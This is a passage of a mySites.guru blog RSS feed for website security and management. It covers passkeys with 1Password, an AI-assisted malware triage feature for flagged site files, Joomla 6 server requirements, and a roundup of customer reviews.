&lt;h2&gt;Why do we recommend 1Password?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://1password.com/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re not already using &lt;a href=&quot;https://1password.com/&quot;&gt;1Password&lt;/a&gt;, you should be. We use it ourselves and it&apos;s the best way to manage passkeys across devices.&lt;/p&gt;
&lt;p&gt;1Password stores your passkeys alongside your passwords, credit cards, and secure notes in one encrypted vault. Their browser extension handles passkey registration and login automatically - when mySites.guru prompts for a passkey, 1Password picks it up. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform&apos;s ecosystem.&lt;/p&gt;
&lt;p&gt;Where 1Password really pays off for agencies is sharing. You can create shared vaults for your team, so if someone needs access to a shared account (not mySites.guru - use team accounts for that - but the dozens of other services your agency depends on), you don&apos;t end up with passwords in Slack DMs or shared Google Docs. Everything stays encrypted and auditable.&lt;/p&gt;
&lt;p&gt;It also generates strong unique passwords for the sites that don&apos;t support passkeys yet, which in 2026 is still most of them. If you&apos;re managing 50+ client sites and their associated hosting accounts, DNS providers, CDNs, and email services, a password manager isn&apos;t optional. 1Password is the one we&apos;d pick.&lt;/p&gt;
&lt;h2&gt;Which plans include passkey support?&lt;/h2&gt;
&lt;p&gt;Passkeys are available on all plans, including team member accounts. There&apos;s nothing extra to pay for. Combined with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; to your connected sites and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time login alerts&lt;/a&gt;, you&apos;ve got a pretty solid security setup.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Set Up Your Passkey Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;small&gt;FIDO® and the stylized FIDO logo are trademarks (registered in numerous countries) of FIDO Alliance, Inc. The passkey icon is a trademark of FIDO Alliance, Inc.&lt;/small&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Account security is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>passkeys</category><category>authentication</category><enclosure url="https://mysites.guru/_astro/passkeys-hero.BPdub33y.webp" length="0" type="image/webp"/></item><item><title>AI-Powered Malware Analysis Now Available in mySites.guru</title><link>https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</guid><description>Send flagged suspect files to Claude or GPT for instant malware analysis. Crowdsourced cached results shared across all subscribers.</description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You run a security audit on your Joomla site. Result? &lt;strong&gt;47 files flagged as &quot;Suspect Content.&quot;&lt;/strong&gt; OH NO!!!!!&lt;/p&gt;
&lt;p&gt;If you landed here because something looks wrong with your site, start by &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;checking whether your WordPress site is actually hacked&lt;/a&gt; - then use our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; as a starting point before you dig into this level of detail.&lt;/p&gt;
&lt;p&gt;Which are actual malware? Which are false positives? Do you spend hours reviewing PHP code or wait days for expert analysis? Before anything else, it helps to know &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;the difference between a plain Suspect Content flag and a red Hacked File badge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AI-Powered Malware Analysis&lt;/strong&gt; - when our audit tools flag suspicious files, you can now send any file to AI for expert analysis with one click.&lt;/p&gt;
&lt;p&gt;Results come back as plain verdicts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is a false positive – safe to ignore&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is suspicious – review line 42&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is malware – remove immediately&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The crowdsourced cached results change the economics: when you or anyone else analyzes a file with our AI integration and gets a definitive result (SAFE or MALWARE), that result is stored globally by file hash. If someone else already analyzed that file - same hash, same file contents - you get instant results at no cost. Your analyses help others and theirs help you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(No details on your domains, your site, or personal information is shared, the hash of the file contents and the result is all that we store)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Example malware extracts from the AI analysis:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why did we wait to add AI?&lt;/h2&gt;
&lt;p&gt;Every company rushed to add &quot;AI-powered&quot; to their product - chatbots that frustrated users, buzzwords without substance.&lt;/p&gt;
&lt;p&gt;For over a decade, we&apos;ve secured Joomla and WordPress sites. We knew our audit system worked well at finding threats, but it casts a wide net, meaning false positives. Users had to review code themselves or wait for us to review files manually.&lt;/p&gt;
&lt;p&gt;We spent months testing: analyzed thousands of files, compared AI results against expert reviews, measured accuracy and cost-effectiveness. The question wasn&apos;t whether AI was trendy - it was whether AI could reliably do what users struggle with: reading PHP code, identifying suspicious patterns, and separating legitimate code from malware. It can.&lt;/p&gt;
&lt;p&gt;False positives have cost users hours of manual review for over a decade. This addresses that.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;h3&gt;The audit foundation&lt;/h3&gt;
&lt;p&gt;For 10+ years, our security audit system has scanned filesystems using pattern-matching built from real-world hacks. It catches backdoors and malware most users would never find. By design, it flags suspicious files broadly - better to review a safe file than miss malware. Before you can spot the abnormal, it helps to know what&apos;s normal - our guide to &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking on your site&lt;/a&gt; explains the dot-files most site owners don&apos;t even know exist in their webspace.&lt;/p&gt;
&lt;h3&gt;AI analysis layer&lt;/h3&gt;
&lt;p&gt;When audits flag files, you see a colored AI icon:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🟣 Purple = Not analyzed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟢 Green = Safe&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟡 Yellow = Suspicious&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔴 Red = Malicious&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click to send the file to AI (Claude Sonnet 4.5 or GPT-4). Within seconds, get expert analysis with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Risk level and confidence score&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exact line numbers of issues&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code snippets and explanations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Actionable recommendations&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Crowdsourced intelligence&lt;/h3&gt;
&lt;p&gt;Definitive results (SAFE/MALWARE) are stored globally by MD5 hash. Same file on 100 sites = 1 analysis, not 100. Popular WordPress plugins are likely already analyzed by the community. Your discoveries protect everyone else.&lt;/p&gt;
&lt;p&gt;Over time, the crowdsourced results will sharpen our audit patterns - false-positive rates should drop as the dataset grows.&lt;/p&gt;
&lt;h2&gt;What are the key benefits?&lt;/h2&gt;
&lt;h3&gt;Expert analysis without the expert&lt;/h3&gt;
&lt;p&gt;What took hours or days now takes seconds. No more waiting for manual reviews from Phil or trying to understand complex PHP code, or worse, ignoring or guessing! Although Phil receives every analysis and can overrule the AI decision:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Cost savings at scale&lt;/h3&gt;
&lt;p&gt;You install a security plugin across 50 Joomla sites. First analysis costs a few cents. Other 49 sites? Instant cached results, zero cost. Managing 100 WordPress sites with WooCommerce? Most files already analyzed by the community-you might only need 2-3 new analyses.&lt;/p&gt;
&lt;h3&gt;Accurate and trustworthy&lt;/h3&gt;
&lt;p&gt;Every analysis includes confidence scores (0-100%). 95% confidence &quot;malicious&quot; is very different from 60% &quot;suspicious.&quot; The AI shows you exactly which lines are problematic and why. Admins can mark false positives, correcting the global cache for everyone.&lt;/p&gt;
&lt;h2&gt;When should you use it?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Suspected breach&lt;/strong&gt;: Site sending spam? Run the Suspect Content audit and use AI to triage 47 flagged files in minutes instead of hours. Not yet connected? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt; to see what mySites.guru finds before you commit to a subscription.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-update verification&lt;/strong&gt;: Updated a plugin? AI confirms the modified files are legitimate, not tampered with.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quarterly reviews&lt;/strong&gt;: Audit 100 sites. Common files already cached = instant results. Focus your time on new threats.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pre-deployment&lt;/strong&gt;: Verify custom code is secure before going live.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inherited sites&lt;/strong&gt;: 200 flagged files overwhelming you? AI prioritizes the 5 high-risk files, not 195 false positives.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When should you NOT use it?&lt;/h2&gt;
&lt;p&gt;It&apos;s not 100% accurate - sophisticated malware might slip through, and legitimate code might be flagged. Use findings as a guide and verify critical decisions. Phil receives a written report for each AI lookup and will manually override bad AI decisions to prevent mistakes and poisoning the crowdsourced database.&lt;/p&gt;
&lt;p&gt;It only works on text-based code (PHP, JS, etc.) - no images, PDFs, or compiled binaries.&lt;/p&gt;
&lt;p&gt;Files over 200KB are sampled (first/middle/last sections), so threats in unsampled sections could be missed.&lt;/p&gt;
&lt;p&gt;It&apos;s one layer, not the entire solution. Regular updates, strong passwords, and backups are still essential.&lt;/p&gt;
&lt;h2&gt;How do you enable it?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Get API keys from &lt;a href=&quot;https://console.anthropic.com/&quot;&gt;Anthropic&lt;/a&gt; (for Claude) or &lt;a href=&quot;https://platform.openai.com/&quot;&gt;OpenAI&lt;/a&gt; (for GPT)&lt;/li&gt;
&lt;li&gt;Navigate to Account &amp;gt; AI Integration in mySites.guru, toggle &quot;Enable AI Features&quot;, add your API key(s), and choose your preferred provider&lt;/li&gt;
&lt;li&gt;Start analyzing - AI icons appear throughout File Manager, Suspect Content, and Modified Files tools&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather work from Claude instead of the dashboard, you can now &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;connect your whole account to Claude Desktop&lt;/a&gt; and run audits across every site in plain English.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What does it cost?&lt;/h2&gt;
&lt;p&gt;We do not charge you for this integration - like everything in mySites.guru, you pay your monthly subscription and I invest DAILY into the best platform available today - just like I have done since launching in 2012, &lt;strong&gt;without a single price increase since we launched!&lt;/strong&gt; Name me another service that does that?&lt;/p&gt;
&lt;p&gt;To use AI analysis, you provide your own API keys from Anthropic (Claude) or OpenAI (GPT). Your data goes directly to your chosen provider using your own account-mySites.guru never charges for AI usage and your API keys are encrypted for your security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Typical costs&lt;/strong&gt;: $0.01-0.05 per file analysis, paid directly to Anthropic or OpenAI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The advantage&lt;/strong&gt;: Global caching means you rarely pay twice. Same file content across all your sites = one analysis, infinite reuse. Someone else already analyzed that WordPress plugin? You get cached results at zero cost.&lt;/p&gt;
&lt;p&gt;For most users managing typical site portfolios, monthly AI costs are minimal-often less than one security audit consultation.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;AI-Powered Malware Analysis is available now for all mySites.guru users.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to your account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable AI Features in Account → AI Integration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start analyzing files&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Questions?&lt;/strong&gt; Email phil@phil-taylor.com&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This feature is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>malware</category><category>ai</category><category>hack detection</category><enclosure url="https://mysites.guru/_astro/Relax-We-have-got-you-covered.BJbikDhB.webp" length="0" type="image/webp"/></item><item><title>Joomla 6 Technical Requirements (2026)</title><link>https://mysites.guru/blog/joomla-6-technical-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-technical-requirements/</guid><description>Joomla 6 requires PHP 8.3+, MySQL 8.0.13+, or MariaDB 10.4+. Check if your server is ready in 30 seconds with our free bulk compatibility scanner.</description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  
  &lt;p&gt;Updated 2 March 2026 with new information including corrected MariaDB minimum version and latest PHP details.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Joomla 6.0.0 was released on 14th October 2025, and it introduced a new strict &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;joomla technical requirements&lt;/a&gt; minimum of &lt;strong&gt;MySQL 8.0.13, MariaDB 10.4.0 and PHP 8.3.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What does the Joomla project say?&lt;/h2&gt;
&lt;p&gt;Not much &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;other than this page&lt;/a&gt; (which ironically still states this is for an unreleased upcoming version when infact Joomla 6 has now been released)&lt;/p&gt;
&lt;p&gt;This page is also confusing as it has a &quot;Required&quot; version of MariaDB and PostgreSQL that is less than the &quot;Minimum&quot;... strange.&lt;/p&gt;
&lt;p&gt;[edit:] Note that even the Joomla Project don&apos;t seem to understand or believe these versions are correct, but hey ho, &lt;a href=&quot;https://github.com/joomla/Manual/pull/540#issuecomment-3412511119&quot;&gt;https://github.com/joomla/Manual/pull/540&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[edit:] It seems the &quot;Minimum Versions&quot; are guaranteed to work and are required for upgrades and the &quot;Required Versions&quot; &quot;May work for new new installs&quot;&lt;/p&gt;
&lt;p&gt;[edit:] After release, the Joomla project lowered the minimum MariaDB version from 10.6 to 10.4 in the official documentation.&lt;/p&gt;
&lt;p&gt;[edit:] &lt;strong&gt;Clear as mud&lt;/strong&gt;. However we will keep this page, and the tools in mySites.guru, up to date with the published, documented, versions from the official Joomla project which can be found here: &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;https://manual.joomla.org/docs/next/get-started/technical-requirements/&lt;/a&gt; (Which also currently states Joomla 6.0 is the upcoming version and not yet released - go figure...)&lt;/p&gt;
&lt;h2&gt;What does the Joomla 6 hosting check show?&lt;/h2&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt; - no additional charge was made and this new feature added for free into all account.&lt;/p&gt;
&lt;p&gt;Here&apos;s what the dashboard looks like:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where to find the Joomla 6 Technical Requirements tool in mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can get to the tool quickest by &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;invoking the command palette&lt;/a&gt; with &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;cmd k&lt;/a&gt; (or ctrl k on windows/linux) and typing &quot;Joomla 6&quot; or &quot;compat&quot; to filter the commands and then enter. This will take you direct to the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements tool&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;*The mySites.guru command palette - filtered *&lt;/p&gt;
&lt;p&gt;An even quicker way is to just press c 6 on the keyboard (that is lowercase c and then the number 6) - that is the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;keyboard shortcut&lt;/a&gt; to the page in mySites.guru!!&lt;/p&gt;
&lt;p&gt;The direct url is: &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/joomla6/compatibility&lt;/a&gt; (Obviously you need to be logged in for that to work)&lt;/p&gt;
&lt;p&gt;As you can see the tool clearly lists all your Joomla 4, Joomla 5 and Joomla 6 sites, along with the currently installed Joomla version, the web server hostname, the update channel enabled, and the server hosting PHP version and Database type (MySQL or MariaDB) and version number.&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the MINIMUM this will be highlighted with Yellow The MINIMUM Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.3.0, MySQL 8.0.13 or MariaDB 10.4.0.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the RECOMMENDED this will be highlighted with Green The RECOMMENDED Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.4+, MySQL 8.4+ or MariaDB 12.0+&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server doesn&apos;t meet the MINIMUM technical requirements this will be highlighted with Red&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What is the update channel?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help310:Components_Joomla_Update_Configuration&quot;&gt;Joomla has 3 main update channels&lt;/a&gt;&lt;/strong&gt; - the &lt;strong&gt;Default&lt;/strong&gt;, **Joomla Next **and &lt;strong&gt;Testing&lt;/strong&gt;. It is &lt;strong&gt;highly recommended that you leave your production websites on the default setting&lt;/strong&gt; - this will prevent you accidentally applying major updates to Joomla core. Separately, Joomla 5.4+ and 6.0+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; that can apply patches without admin intervention - if you manage client sites, you should disable that too.&lt;/p&gt;
&lt;p&gt;Joomla &quot;Next&quot; channel allows to switch between major releases. From 4 to 5 to 6 for example.&lt;/p&gt;
&lt;p&gt;Testing is as its name suggests. For use in testing releases prior to release by experienced developers.&lt;/p&gt;
&lt;h2&gt;What are the Joomla 6 minimum technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;absolute minimum versions that can be installed&lt;/a&gt; on a server to run Joomla 6 are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PHP 8.3.0 (also standard modules like json, simplexml, dom, gd, mysqlnd needed)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MySQL 8.0.13 or MariaDB 10.4.0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This article (and most of the Joomla Community!) ignore the Postgres compatibility as not many people use that database server - but the minimum for PostgreSQL is 12.0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What are the Joomla 6 recommended technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;RECOMMENDED versions to be installed to run Joomla 6&lt;/a&gt; are &quot;the latest PHP version and the latest MySQL/MariaDB&quot; version - haha - but no seriously, there is no reason to be not running the latest versions of PHP in 2026!&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;&quot;official&quot; recommended is PHP 8.4 and MySQL 8.4/MariaDB 12&lt;/a&gt; - but of course over time these will probably increase - for example at the time of writing PHP 8.5 is the latest stable PHP version available, &lt;a href=&quot;https://www.php.net/supported-versions&quot;&gt;https://www.php.net/supported-versions&lt;/a&gt; for full PHP details. If you are wondering why one of your sites shows a green PHP badge and another shows amber, &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;we explain how PHP branches and patch levels differ&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What if my web host doesn&apos;t meet the minimum standards?&lt;/h2&gt;
&lt;p&gt;If your webhost doesn&apos;t have the minimum standards for Joomla 6 hosting then you should really consider moving - the MySQL 8 and PHP 8.4 requirements are standard at this point.&lt;/p&gt;
&lt;p&gt;MySQL 8.0.13 was released in October 2018 - so that&apos;s over 7 years ago - if your web host has not upgraded their MySQL server in the last 5 years then maybe they are not the most secure and reliable partner for your web site... #justsaying&lt;/p&gt;
&lt;h2&gt;What is the supported version of MySQL by Oracle?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://endoflife.date/mysql&quot;&gt;https://endoflife.date/mysql&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;mysql 5.6 extended support ended in 2021 and mysql 5.7 extended support ended.... 31st October 2023.&lt;/p&gt;
&lt;p&gt;Only MySQL 8.4 (LTS) and 9.4.* series are actually supported by Oracle now.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What if my site is stuck on Joomla 3 - how do I secure Joomla 3?&lt;/h2&gt;
&lt;p&gt;You can look at the new tool which &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fixes all Joomla 3 security issues&lt;/a&gt; with a single click, in the mySites.guru snapshot.&lt;/p&gt;
&lt;h2&gt;How do Joomla 5 and Joomla 6 requirements compare?&lt;/h2&gt;
&lt;p&gt;Upgrading from Joomla 5? Here&apos;s a side-by-side comparison of what changed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Joomla 5 Minimum&lt;/th&gt;
&lt;th&gt;Joomla 6 Minimum&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1.0&lt;/td&gt;
&lt;td&gt;8.3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MySQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.0.13&lt;/td&gt;
&lt;td&gt;8.0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MariaDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.4.0&lt;/td&gt;
&lt;td&gt;10.4.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PostgreSQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The database requirements stayed the same between Joomla 5 and 6. The main change is PHP: Joomla 6 requires PHP 8.3 or higher, up from PHP 8.1 in Joomla 5. If your server already runs PHP 8.3+, you&apos;re ready to upgrade. These requirements haven&apos;t changed in &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1&lt;/a&gt; either - the same minimums apply. One new reason to get to 6.1: the &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;built-in POW captcha plugin&lt;/a&gt; that ships in core and replaces Google reCAPTCHA.&lt;/p&gt;
&lt;p&gt;The recommended versions for Joomla 6 are PHP 8.4, MySQL 8.4, and MariaDB 12 - all higher than Joomla 5&apos;s recommendations of PHP 8.2, MySQL 8.1, and MariaDB 11.1.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru compatibility checker&lt;/a&gt; to scan all your sites at once and see exactly which ones are ready for the upgrade.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;Happy to answer questions if you have any, use the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Or you can ask the Joomla project direct.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Joomla 6 planning is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>php</category><category>hosting</category><enclosure url="https://mysites.guru/_astro/Add-a-heading.BaC30Qp2.webp" length="0" type="image/webp"/></item><item><title>What Users Really Think of mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-reviews/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-reviews/</guid><description>What agencies and site owners actually say about managing their Joomla and WordPress sites with mySites.guru. Named reviewers only, no anonymous testimonials.</description><pubDate>Sun, 17 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every review on our &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; is from a real person with a real name. No anonymous testimonials, no paid placements. I wanted to pull out some of the recurring themes.&lt;/p&gt;
&lt;h2&gt;People stop thinking of it as a subscription&lt;/h2&gt;
&lt;p&gt;This is the thing I hear most. Alexander I. runs an agency and told us mySites.guru feels more like infrastructure than a subscription at this point. Stephen Dillon at Invisible Stuff has been paying for it for over 10 years and says it&apos;s the best value tool they have.&lt;/p&gt;
&lt;p&gt;Ten years is a long time to keep paying for something. Nobody does that out of inertia.&lt;/p&gt;
&lt;h2&gt;The time savings are real&lt;/h2&gt;
&lt;p&gt;Anne Notarthomas at eKamria uses it daily for &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click logins&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt;, uptime monitoring, and general maintenance. She says it saves her untold hours every month.&lt;/p&gt;
&lt;p&gt;Daniel Östgård manages about 200 Joomla and WordPress sites and describes it as saving &quot;oceans of time.&quot; At that scale, running updates manually would take days. Through mySites.guru it takes minutes.&lt;/p&gt;
&lt;h2&gt;You don&apos;t need to be technical&lt;/h2&gt;
&lt;p&gt;Nick Lucas is a CEO with 7 sites. He&apos;s self-taught, not a developer. He told us mySites.guru showed him security problems he had no idea existed. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; flag issues in plain language, so you don&apos;t need to know what a CVE number means to act on them.&lt;/p&gt;
&lt;p&gt;That said, developers get plenty out of it too. Adam Haworth moved his agency from WP Umbrella because he wanted more control over security, specifically. He got it.&lt;/p&gt;
&lt;h2&gt;Does it treat Joomla and WordPress equally?&lt;/h2&gt;
&lt;p&gt;Most management tools are WordPress-only, or they bolt Joomla on as an afterthought. mySites.guru treats both equally, which matters if you have a mixed portfolio.&lt;/p&gt;
&lt;p&gt;Emanuel manages about 50 Joomla sites and says the tools cover almost any use case he&apos;s thrown at them. Krisztina, a freelance Joomla developer, has been using it since 2015. She originally signed up to clean malware off a server full of hacked sites, then kept using it for day-to-day management. Andrés Restrepo works primarily with Joomla 5.x and says it changed how he works.&lt;/p&gt;
&lt;h2&gt;What did WPMayor rate it?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wpmayor.com&quot;&gt;WPMayor.com&lt;/a&gt; did an independent review and gave mySites.guru 4.6 out of 5 stars. Worth reading if you want an outside perspective.&lt;/p&gt;
&lt;h2&gt;Where can you read all the reviews?&lt;/h2&gt;
